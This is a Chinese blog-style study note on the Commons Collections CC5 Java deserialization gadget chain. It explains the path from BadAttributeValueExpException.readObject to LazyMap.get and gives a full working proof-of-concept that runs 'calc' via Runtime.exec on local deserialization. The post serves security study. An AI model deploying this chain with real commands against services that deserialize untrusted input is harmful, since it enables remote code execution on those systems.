当前位置:   article > 正文

Java安全--CC5_cc5 java

cc5 java

后面确实学了这么多了,觉得能比较看得懂了,直接放一张CC5的调用图吧:

直接从入口来讲吧:

BadAttributeValueExpException.readObject调用了toString,只要把valObj控制为TiedMapEntry就可以走到TiedMapEntry.toString了。即实例化BadAttributeValueExpException的时候传入TiedMapEntry了。

之后TiedMapEntry.toString --> TiedMapEntry.getValue --> LazyMap.get。再往后一路都比较熟悉就不说了。直接贴代码了:

  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class CC5 {
  14. public static void main(String[] args) throws Exception{
  15. Transformer[] transformers = {
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  18. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  19. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  20. };
  21. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  22. HashMap<Object, Object> hashMap = new HashMap<>();
  23. Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
  24. TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key");
  25. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  26. Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
  27. Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
  28. valField.setAccessible(true);
  29. valField.set(badAttributeValueExpException, tiedMapEntry);
  30. serialize(badAttributeValueExpException);
  31. unserialize("ser.bin");
  32. }
  33. public static void serialize(Object obj) throws IOException {
  34. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  35. objectOutputStream.writeObject(obj);
  36. }
  37. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  38. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
  39. return objectInputStream.readObject();
  40. }
  41. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/694816
推荐阅读
相关标签
  

闽ICP备14008679号